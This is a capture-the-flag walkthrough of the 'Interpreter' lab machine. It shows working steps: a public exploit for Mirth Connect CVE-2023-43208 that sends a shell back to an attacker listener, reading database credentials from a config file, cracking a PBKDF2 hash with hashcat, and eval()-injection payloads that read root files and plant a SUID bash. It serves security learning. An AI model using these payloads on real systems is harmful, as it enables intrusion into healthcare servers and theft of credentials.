~/writeups/Interpreter
Medium Linux CVE-2023-43208 PBKDF2 Cracking eval() Injection
Interpreter.
Medium Linux CVE-2023-43208 PBKDF2 Cracking eval() Injection
Interpreter runs Mirth Connect 4.4.0 — an open-source healthcare integration engine vulnerable to unauthenticated Remote Code Execution (CVE-2023-43208), a Java deserialization bypass that gives us a shell as the mirth user. From there we extract database credentials from a config file, find a PBKDF2-SHA256 password hash in MariaDB, crack it with hashcat to pivot to sedric, then exploit an unsafe Python eval() call in a root-owned Flask service to escalate to root via SUID bash.
User Flag
0bd7937f57xxxxxxxxxxxxxxxxxxxxxx
Root Flag
714da10ee2xxxxxxxxxxxxxxxxxxxxxx
01Reconnaissance

Start with a full TCP port scan. The -p- flag scans all 65535 ports instead of just the default top 1000. --min-rate 5000 keeps the scan fast by sending at least 5000 packets per second. -sC runs default NSE scripts (service fingerprinting, banner grabbing) and -sV detects exact service versions. -oN saves output to a file for reference later.

nmap
$ nmap -sC -sV -p- --min-rate 5000 10.129.33.236 -oN nmap_full.txt PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 80/tcp open http Jetty |_http-title: Mirth Connect Administrator 443/tcp open ssl/http Jetty | ssl-cert: Subject: commonName=mirth-connect |_http-title: Mirth Connect Administrator 6661/tcp open unknown
finding: Four open ports. Ports 80 and 443 serve Mirth Connect Administrator — a healthcare integration engine. Port 6661 is unknown (investigated later). Port 22 for SSH.

Run a directory bruteforce against the web server to find hidden paths:

gobuster
$ gobuster dir -u http://10.129.33.236 -w /usr/share/wordlists/dirb/common.txt /webadmin (Status: 302) [--> http://10.129.33.236/webadmin/] /index.html (Status: 200)
finding: /webadmin/ redirects to the Mirth Connect login panel. The application is a real enterprise healthcare product — look for known CVEs.

The version is confirmed by downloading the JNLP launcher file from the web interface:

webstart.jnlp (excerpt)
<jnlp codebase="https://10.129.33.236:443" version="4.4.0"> <title>Mirth Connect Administrator 4.4.0</title> <vendor>NextGen Healthcare</vendor>
finding: Mirth Connect 4.4.0 — the exact version is critical for finding the right exploit. Search for CVEs against this version.
02Enumeration

Searching for known vulnerabilities in Mirth Connect 4.4.0 quickly surfaces CVE-2023-43208 — an unauthenticated Remote Code Execution vulnerability. Understanding what this CVE is and why it works is important before exploiting it.

What is CVE-2023-43208? It is a bypass of the patch for an earlier CVE (CVE-2023-37679). Mirth Connect handles HL7 healthcare messages and uses Java's built-in object serialization to pass data between components. The vulnerability lies in an API endpoint that accepts serialized Java objects without proper authentication — an attacker can send a crafted "malicious object" that, when the server deserializes (unpacks) it, executes arbitrary operating system commands. Think of it like a booby-trapped package: the server opens it and the trap fires.

Version 4.4.0 sits exactly on the vulnerable boundary — the developers believed they had fixed the issue, but researchers found the fix could be bypassed.

note: We tried multiple exploit scripts. The K3ysTr0K3R PoC on GitHub had a port conflict issue (its internal listener clashed with our netcat). The predyy/CVE-2023-43208 repo worked cleanly because it externalizes listener management — always check a few PoCs before giving up on a CVE.

Clone and set up the working exploit:

bash
$ git clone https://github.com/predyy/CVE-2023-43208 $ cd CVE-2023-43208 $ python3 -m venv venv # isolate dependencies in a virtual environment $ source venv/bin/activate $ pip install -r requirements.txt
why a venv? Using python3 -m venv creates an isolated Python environment so the exploit's dependencies don't conflict with system packages or other tools like impacket, certipy, etc. Always use venvs for one-off exploit scripts.
03Exploitation

Phase 1 — Initial shell via CVE-2023-43208. Start a netcat listener first, then fire the exploit. The exploit sends a serialized Java payload to Mirth Connect's unauthenticated API endpoint. When the server deserializes it, the embedded command executes and calls back to our listener.

bash — terminal 1 (listener)
$ nc -lvnp 7777 listening on [any] 7777 ...
bash — terminal 2 (exploit)
$ python3 exp.py -u http://10.129.33.236 -lh 10.10.15.9 -lp 7777 CVE-2023-43208 - Mirth Connect RCE Exploit [*] Target: 10.129.33.236 [*] LHOST: 10.10.15.9 | LPORT: 7777 [+] Found Mirth Connect instance [+] Vulnerable version 4.4.0 confirmed [+] Exploit sent — check your listener!
bash — shell received
connect to [10.10.15.9] from (UNKNOWN) [10.129.33.236] 50732 $ whoami mirth $ python3 -c 'import pty; pty.spawn("/bin/bash")' mirth@interpreter:~$
finding: Shell as mirth — the service account running Mirth Connect. Not root, but enough to read application files and config.

Phase 2 — Credential discovery. Mirth Connect stores all its configuration in a file called mirth.properties. This file contains database credentials, keystore passwords, and server settings in plaintext. Always look for application config files after gaining a shell as a service account.

bash
mirth@interpreter:~$ find / -name "mirth.properties" 2>/dev/null /usr/local/mirthconnect/conf/mirth.properties mirth@interpreter:~$ cat /usr/local/mirthconnect/conf/mirth.properties # keystore keystore.storepass = 5GbU5HGTOOgE keystore.keypass = tAuJfQeXdnPw # database credentials database = mysql database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod database.username = mirthdb database.password = MirthPass123!
finding: Three sets of credentials found. Always try all of them for SSH and su — password reuse is extremely common in CTFs and real environments.

Phase 3 — Database enumeration. Connect to the MariaDB database using the credentials from mirth.properties. Note: run this command from inside the mirth shell since MariaDB only listens on localhost (127.0.0.1), not externally.

bash — inside mirth shell
mirth@interpreter:~$ mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod -e "show tables;" +-----------------------+ | Tables_in_mc_bdd_prod | +-----------------------+ | PERSON | | PERSON_PASSWORD | | CHANNEL | | CONFIGURATION | | ... | +-----------------------+
bash — enumerate users and hashes
mirth@interpreter:~$ mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod \ -e "select USERNAME from PERSON;" +----------+ | USERNAME | +----------+ | sedric | +----------+ mirth@interpreter:~$ mysql -u mirthdb -p'MirthPass123!' -h 127.0.0.1 mc_bdd_prod \ -e "select * from PERSON_PASSWORD;" +-----------+----------------------------------------------------------+ | PERSON_ID | PASSWORD | +-----------+----------------------------------------------------------+ | 2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | +-----------+----------------------------------------------------------+
finding: User sedric exists with a base64-encoded password hash. This is the local system user — cracking this hash gives us SSH access.

Phase 4 — Hash identification and cracking. The hash is base64-encoded. According to the NextGen Healthcare upgrade guide, Mirth Connect 4.4.0 uses PBKDF2-HMAC-SHA256 with 600,000 iterations to store passwords.

PBKDF2 (Password-Based Key Derivation Function 2) is a slow hashing algorithm designed to make brute-forcing expensive. It works by hashing the password thousands of times — 600,000 iterations means each guess takes much longer to compute. The decoded hash splits into two parts: the first 8 bytes are the salt (random data mixed in to prevent rainbow table attacks) and the remaining 32 bytes are the hash output.

bash — decode and split the hash
# Decode the full hash to hex $ echo 'u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==' | base64 -d | xxd -p -c 256 bbff8b0413949da762c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb # Split: first 8 bytes = salt $ echo 'bbff8b0413949da7' | xxd -r -p | base64 u/+LBBOUnac= # Remaining 32 bytes = hash $ echo '62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb' | xxd -r -p | base64 YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

Hashcat mode 10900 handles PBKDF2-HMAC-SHA256. The format requires the salt and hash base64-encoded separately, separated by a colon:

bash — crack with hashcat
$ echo 'sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=' > sedric.txt $ hashcat -m 10900 sedric.txt /usr/share/wordlists/rockyou.txt sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1 Status: Cracked
finding: Password cracked — sedric : snowflake1. The format for hashcat mode 10900 is sha256:<iterations>:<base64_salt>:<base64_hash>. Getting this format wrong causes "Token length exception" errors.

SSH in as sedric and grab the user flag:

bash
$ ssh sedric@10.129.33.236 sedric@10.129.33.236's password: snowflake1 sedric@interpreter:~$ cat user.txt 0bd7937f57xxxxxxxxxxxxxxxxxxxxxx
04Privilege Escalation

Now we enumerate for privilege escalation paths from the sedric account. Check the usual suspects first:

bash — basic privesc checks
sedric@interpreter:~$ sudo -l sudo: command not found # sudo not installed sedric@interpreter:~$ find / -perm -4000 -type f 2>/dev/null /usr/bin/passwd /usr/bin/su /usr/bin/mount # ... standard binaries only, nothing exploitable sedric@interpreter:~$ ps auxf # check running processes root 3570 /usr/bin/python3 /usr/local/bin/notif.py # ← interesting!
finding: A Python script /usr/local/bin/notif.py is running as root. This is unusual — let's read the source code.

Reading notif.py reveals a Flask web server listening on 127.0.0.1:54321. It accepts XML patient data, parses it, and formats a notification string. The critical vulnerability is in the template() function:

notif.py (vulnerable section)
def template(first, last, sender, ts, dob, gender): pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$") # input validation for s in [first, last, sender, ts, dob, gender]: if not pattern.fullmatch(s): return "[INVALID_INPUT]" template = f"Patient {first} {last} ({gender}), years old..." try: return eval(f"f'''{template}'''") # ← DANGEROUS: eval() on user-controlled string! except Exception as e: return f"[EVAL_ERROR] {e}" @app.route("/addPatient", methods=["POST"]) def receive(): if request.remote_addr != "127.0.0.1": abort(403) # only accepts localhost requests # ... parses XML and calls template()
the vulnerability — unsafe eval(): The template() function builds an f-string by inserting user-controlled values ({first}, etc.) and then passes the entire string to Python's eval(). Python's eval() executes any expression you give it. If first contains {__import__("os").system("cmd")}, that expression runs as code when eval() processes the f-string.
why regex doesn't save it: The regex [a-zA-Z0-9._'"(){}=+/]+ was meant to restrict input — but it allows {, }, (, ), ", and . — exactly what Python needs to call functions and import modules. Allowlists on eval() input are almost always bypassable.

The service only accepts connections from 127.0.0.1 — but we're already on the box as sedric, so we can reach it directly. First verify we have RCE as root:

bash — verify RCE as root
sedric@interpreter:~$ python3 - << 'EOF' import requests url = "http://127.0.0.1:54321/addPatient" xml = """<patient> <firstname>{__import__("os").popen("whoami").read()}</firstname> <lastname>Jo</lastname> <sender_app>Jo</sender_app> <timestamp>time</timestamp> <birth_date>01/01/1990</birth_date> <gender>M</gender> </patient>""" r = requests.post(url, data=xml) print(r.text) EOF Patient root Jo (M), 36 years old, received from Jo at time
finding: Confirmed RCE as root. The whoami output appears in the response — the eval injection executes our Python expressions in root's process.

Read the root flag directly, then create a SUID bash for a proper root shell:

bash — read root flag
sedric@interpreter:~$ python3 - << 'EOF' import requests url = "http://127.0.0.1:54321/addPatient" xml = """<patient> <firstname>{open("/root/root.txt").read()}</firstname> <lastname>Jo</lastname> <sender_app>Jo</sender_app> <timestamp>time</timestamp> <birth_date>01/01/1990</birth_date> <gender>M</gender> </patient>""" r = requests.post(url, data=xml) print(r.text) EOF Patient 714da10ee29899925be39680e080466b Jo (M), 36 years old, received from Jo at time

For a full interactive root shell, use the injection to create a SUID bash binary. The command uses && which would break XML — split into two separate requests to avoid XML parse errors:

bash — create SUID bash via shell script
# Write a shell script to /tmp (no special XML chars needed) cat > /tmp/p.sh << 'EOF' #!/bin/bash cp /bin/bash /tmp/rootbash chmod +s /tmp/rootbash EOF chmod +x /tmp/p.sh # Trigger it via the eval injection (path has no spaces or special chars) sedric@interpreter:~$ python3 - << 'EOF' import requests url = "http://127.0.0.1:54321/addPatient" xml = """<patient> <firstname>{__import__("os").system("/tmp/p.sh")}</firstname> <lastname>Jo</lastname> <sender_app>Jo</sender_app> <timestamp>time</timestamp> <birth_date>01/01/1990</birth_date> <gender>M</gender> </patient>""" r = requests.post(url, data=xml) print(r.text) EOF Patient 0 Jo (M), ...
bash — escalate to root
sedric@interpreter:~$ ls -la /tmp/rootbash -rwsr-sr-x 1 root root 1265648 /tmp/rootbash # SUID set, owned by root sedric@interpreter:~$ /tmp/rootbash -p # -p preserves effective UID (root) rootbash-5.2# whoami root rootbash-5.2# cat /root/root.txt 714da10ee2xxxxxxxxxxxxxxxxxxxxxx
why -p? When bash detects it's running with a SUID bit (effective UID ≠ real UID), it drops privileges by default as a security measure. The -p flag disables this behavior, keeping the root effective UID so our shell stays as root.
why split into two requests? The && operator in bash (cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash) contains & which is a reserved XML character — it breaks XML parsing. Writing the commands to a shell script first avoids this entirely.
05Flags
bash
sedric@interpreter:~$ cat ~/user.txt 0bd7937f57xxxxxxxxxxxxxxxxxxxxxx rootbash-5.2# cat /root/root.txt 714da10ee2xxxxxxxxxxxxxxxxxxxxxx
chain: nmap → ports 80/443 Jetty → Mirth Connect Administrator → JNLP file reveals version 4.4.0 → CVE-2023-43208 unauthenticated Java deserialization RCE → shell as mirth → mirth.properties → DB creds (MirthPass123!) → MariaDB PERSON_PASSWORD table → sedric's PBKDF2-SHA256 hash → hashcat mode 10900 → snowflake1 → SSH as sedric → user.txt → ps auxfnotif.py running as root on 127.0.0.1:54321 → unsafe eval() on f-string with user input → Python eval injection → RCE as root → SUID bash via shell script → root.txt
← all writeups